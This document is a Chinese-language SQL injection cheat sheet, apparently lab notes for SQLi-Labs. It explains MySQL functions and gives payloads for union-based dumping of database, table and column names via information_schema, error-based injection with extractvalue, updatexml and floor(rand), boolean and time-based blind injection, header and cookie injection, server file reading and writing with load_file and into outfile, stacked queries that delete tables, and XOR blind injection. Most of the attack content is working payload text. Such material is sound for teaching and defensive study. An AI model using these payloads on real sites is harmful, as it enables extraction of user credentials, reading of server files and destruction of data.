database()
:返回当前数据库version()
:返回数据库版本user()
:返回当前用户concat(s1,s2...,sn)
:字符串 s1,s2…,sn 等多个字符串合并为一个字符串,用于合并多个字符串concat_ws(x, s1,s2...,sn)
:同concat(s1,s2,…,sn) 函数,但是每个字符串之间要加上 x,x 可以是分隔符,用于合并多个字符串,并添加分隔符group_concat
:将相同行的指定列的数据连在一起substr(s, start, length)
:从字符串 s 的 start 位置截取长度为 length 的子字符串ascii(s)
:返回字符串 s 的第一个字符的 ASCII 码if(expr,v1,v2)
如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2left()
函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。left(str,length)
:接收两个参数:
str
:一个字符串;length
:想要截取的长度,是一个正整数;right()
函数同理,从右侧截取show databases; -- 显示mysql中所有数据库名称
show tables; -- 显示当前数据库中所有表的名称。
show tables from database_name; -- 显示指定数据库中所有表的名称
show columns from table_name from database_name;
show columns from database_name.table_name; -- 显示表中列名称。
1.基本查询
mysql> select * from aa;
+------+------+
| id| name |
+------+------+
|1 | 10|
|1 | 20|
|1 | 20|
|2 | 20|
|3 | 200 |
|3 | 500 |
+------+------+
2.以id分组,把name字段的值打印在一行,逗号分隔(默认)
mysql> select id,group_concat(name) from aa group by id;
+------+--------------------+
| id| group_concat(name) |
+------+--------------------+
|1 | 10,20,20|
|2 | 20 |
|3 | 200,500|
+------+--------------------+
3.以id分组,把name字段的值打印在一行,分号分隔
mysql> select id,group_concat(name separator ';') from aa group by id;
+------+----------------------------------+
| id| group_concat(name separator ';') |
+------+----------------------------------+
|1 | 10;20;20 |
|2 | 20|
|3 | 200;500 |
@@datadir 数据库存储路径
@@basedir mysql安装路径
16进制 | 符号 |
---|---|
0x3a | : |
0x7e | ~ |
单行注释:#后面直接加注释 #this is a comment
多行注释:/*注释内容*/
中间可以跨行
单行注释:--
后面必须要加空格
内联注释:/*!注释内容*/
内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/*!...*/
中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别执行。
详细可参考以下博客:
mysql show命令用法 - 凡_仁 - 博客园 (cnblogs.com)
information_schema是MySQL中简单的信息数据库,里面都是视图,不是表,所以没有具体文件,在这个数据库里面有以下几个比较敏感的视图:
视图名 | 视图作用 | 视图下的重要字段 |
---|---|---|
schemata | 数据库信息 | schema_name(数据库名) |
tables | 数据库和表的关系 | table_schema(数据库名称)、 table_name(表名) |
columns | 表和列的关系 | table_schema(数据库名)、 column_name(列名)、table_name(表名) |
为表示方便,下面只给出union select部分的sql语句。
(1)information_schema数据库中的schemata视图里存放的是数据库的相关信息,里面有个字段叫做schema_name,表示数据库名,于是可以构造以下语句用于查询数据库名称:
...union select 1,group_concat(schema_name),3 from information_schema.schemata
由此查到了所有数据库名。
(2)information_schema数据库中的tables视图存放的是数据库和表的关系,其中有两个字段:table_schema表示数据库名称,table_name表示表名。在这个视图里可以查到某个数据库中有哪些表,于是可以构造以下语句用于查询指定数据库下的所有表名:
...union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='上一步查到的某个数据库'
由此查到了目标数据库下的所有表名。
(3)information_schema数据库中的columns视图存放的是表和列的关系,其中有三个字段:table_schema表示数据库名、column_name表示列名、table_name表示表名。在这个视图里可以查到某个数据库中的某个表下有哪些列,于是可以构造以下语句用于查询指定数据库指定表下的所有列名:
...union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'
由此查到了目标表下的所有列名。
(4)查到了列和表的具体信息,接下来查询具体数据
基本语句:select 列名 from 表 where 条件
...union select 1,group_concat(id,0x3a,username,0x3a,password),3 from users -- 0x3a表示冒号
MYSQL基本了解:mysql中information_schema说明 - 一叶扁舟_test - 博客园 (cnblogs.com)
双查询注入:sqli-labs(5) - N0lan - 博客园 (cnblogs.com)
报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。
extractvalue(xml_frag, xpath_expr)
extractvalue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
(1)查数据库名:
...and extractvalue(1,concat(0x7e,(select database())))...
或
...union select 1,extractvalue(1,concat(0x7e,(select database())))...
注意:concat里面的查询语句要用括号包起来
(2)查表名:
...and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)))...
或
...union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))...
注意:有时只能输出一行,可用limit 0,1限制输出行数,然后自行更改第一个参数
(3)查列名:
...and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='目标表' limit 0,1)))...
或
...union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='目标表' limit 0,1)))...
注意:有时只能输出一行,可用limit 0,1限制输出行数,然后自行更改第一个参数
(4)查具体数据:
...and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))...
或
...union select 1,extractvalue(1,concat(0x7e,(select username from users limit 0,1)))...
有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位。
这里查询前5位示意:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘\#’,substring((select database()),1,5))))
updatexml()函数与extractvalue()类似,报错方式相同,是更新xml文档的函数。
语法:updatexml(目标xml文档,xml路径,更新的内容)
查数据库名:
...and updatexml(1,concat(0x7e,(select database())),1)...
注意:concat里面的查询语句要用括号包起来
(1)查表名:
...and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)...
注意:有时只能输出一行,可用limit 0,1限制输出行数,然后自行更改第一个参数
(2)查列名:
...and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='目标表' limit 0,1)),1)...
(3)查具体数据:
...and updatexml(1,concat(0x7e,(select username from users limit 0,1)),1)...
extractvalue()能查询字符串的最大长度也为32
这种报错方法的本质是因为floor(rand(0)*2)
的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。
rand():生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字
floor():对任意正或者负的十进制值向下取整
(1)查表名:
...union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select table_name from information_schema.tables where table_schema=database() limit 0,1))
(2)查列名:
union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select column_name from information_schema.columns where table_name='user' limit 0,1))
length():返回字符串长度
mid(),substr()或substring():三个参数,用于截取字符串,第一个参数为要截取的字符串,第二、第三个参数分别指定起始位置和截取长度
ascii()和ord():返回单个字符的ASCII码
(1)判断数据库名长度:
...or (select length(database()))=? --+
通过改变?的数值,来判断是否正确,若页面回显,即条件为真,即长度为真
(2)查数据库名:
...or (select ascii(substr(database(),1,1)))=? --+
改变?处的ascii值并根据是否回显判断是否正确,改变substr()函数的第二个参数来截取第几个字母,需要的字母个数已由上一步查出。
(3)查表名:
...or (select ascii(substr((table_name),1,1)) from information_schema.tables where table_schema=database() limit 0,1)=? --+
通过修改?的值并根据页面回显判断是否正确,通过修改substr()函数第二个参数来切换第几个字母,通过修改limit第一个参数来切换行
或
预处理——判断长度:
...or (select length(group_concat(table_name)) from information_schema.tables where table_schema=database())=? --+
通过修改?的值并根据页面回显判断长度是否正确(注意:group_concat()函数的默认分隔符逗号也算一个字符,系统计算长度时也包括它)
...or (select ascii(substr((group_concat(table_name)),1,1)) from information_schema.tables where table_schema=database())=? --+
通过修改?的值并根据页面回显判断是否正确,通过修改substr()函数第二个参数来切换第几个字母(免去了换行的麻烦)
(4)查列名:
同上
(5)查具体数据:
预处理——判断长度:
...or (select length(group_concat(username,0x3a,password)) from users)=?--+
通过修改?的值并根据页面回显判断长度是否正确
...or (select ascii(substr((group_concat(username,0x3a,password)),1,1)) from users)=? --+
通过修改?的值并根据页面回显判断是否正确,通过修改substr()函数第二个参数来切换第几个字母
if(expr,v1,v2):如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2。
sleep(n):休眠n秒
(1)判断数据库名长度:
...or if((select length(database()))>?,sleep(2),0)--+
通过改变?的数值,来判断是否正确,若页面延迟,即条件为真,即长度为真
(2)查数据库名:
...or if((select ascii(substr(database(),1,1)))=?,sleep(2),0)--+
改变?处的ascii值并根据是否延迟判断是否正确,改变substr()函数的第二个参数来截取第几个字母,需要的字母个数已由上一步查出。
(3)查表名:
...or if((select ascii(substr(group_concat(table_name),1,1)) from information_schema.tables where table_schema=database())>?,sleep(2),0) --+
改变?处的ascii值并根据是否延迟判断是否正确,改变substr()函数的第二个参数来截取第几个字母,需要的字母个数类似第一步可查出。
(4)查列名:
同上
(5)查具体数据:
预处理——判断长度:
...or if((select length(group_concat(username,0x3a,password)) from users)=?,sleep(2),0)--+
通过修改?的值并根据页面延迟判断长度是否正确
...or if((select ascii(substr((group_concat(username,0x3a,password)),1,1)) from users)=? ,sleep(2),0)--+
通过修改?的值并根据页面延迟判断是否正确,通过修改substr()函数第二个参数来切换第几个字母
建议参考:cookie注入原理详解(一) - tooltime - 博客园 (cnblogs.com)
同cookie注入
闭合骚操作:
假设sql语句为:
INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('$uagent', '$IP', $uname)
若对uagent进行注入VALUES (‘‘and (此处可自由发挥) and’’, ‘$IP’, $uname)
即uagent为:‘and (此处可自由发挥) and’
1、load_file()导出文件
load_file(file_name):读取文件并返回该文件内容作为一个字符串。
使用条件:
A:必须有权限读取并且文件完全可读
B:预读取文件必须在服务器上
C:必须指定文件完整路径
D:预读取文件必修小于max_allowed_packet
如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限,在 windows 下,如果NTFS设置得当,是不能读取相关的文件的,当遇到只有administrators才能访问的文件,users就别想load_file出来。
在实际的注入中,我们有两个难点需要解决: 绝对物理路径构造有效的畸形语句 (报错爆出绝对路径) 在很多PHP程序中,当提交一个错误的Query,如果 display_errors=on,程序就会暴露 WEB 目录的绝对路径,只要知道路径,那么对于一个可以注入的 PHP 程序来说,整个服务器的安全将受到严重的威胁。
2、导入到文件:
into outfile
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有 FILE 权限,才能使用此语法。file_name 不能是一个已经存在的文件。
@@datadir 数据库存储路径
@@basedir mysql安装路径
(1)@@secure_file_priv
这个参数主要用来限制数据的导入导出效果(load data, into outfile等)。如果这个参数值为NULL,那么mysql会禁止用户进行导入导出操作;如果这个参数是一个具体的目录名,那么数据的导入导出只能在该目录下进行;如果这个参数为空,那么导入导出的文件位置将不受限制。
该参数的设置,可以在my.cnf配置文件中修改,而在搭建的SQLi-Labs环境中下需要在配置的phpstudy环境中修改,具体修改方法因配置环境而异,此处不作讲解。
(2)@@datadir
这个参数是MySql存放数据文件的目录,也是导入导出操作的相对路径
(3)PrivateTmp
使用Systemd进程作为启动进程的linux系统,其子进程都会有一个属性叫PrivateTmp,用于设置是否使用私有的tmp目录。
读文件:
...union select 1,2,load_file("文件绝对路径")
但上面读出来的字符有些会被转义,所以用
...union select 1,2,hex(load_file("文件绝对路径"))
注意文件路径里面要用双反斜杠,因为其中一个会被转义
导入到文件:
...union select 1,2,3 into outfile("文件路径")
路径同样要用双反斜杠
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
(1)show databases
:列出 MySQL 数据库管理系统的数据库列表。
(2)show tables
:显示当前数据库的所有表
(3)show columns from 数据表
:显示数据表的属性,属性类型,主键信息 ,是否为 NULL,默认值等其他信息。
(4)添加列:alter table 表名 add column 列名 varchar(30);
(5)修改列名: alter table 表名 change 原列名 新列名 数据类型;
(6)修改表名:rename table 原表名 to 新表名
或alter table 原表名 rename to 新表名
(7)定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
(8)执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
(9)删除(释放)定义
{DEALLOCATE | DROP} PREPARE stmt_name;
异或:不同为1,相同为0
1^1=0
0^0=0
1^0=1
根据1^0=1,即一真一假进行异或结果为真,这时我们可以在1的位置做手脚:构造(ascii(substr((database()),1,1))=?)^0
。若构造的式子结果为真,则异或结果为真,页面可正常回显;若构造的式子结果为假,则异或结果为假,页面显示错误,这就形成了另一个意义上的布尔盲注。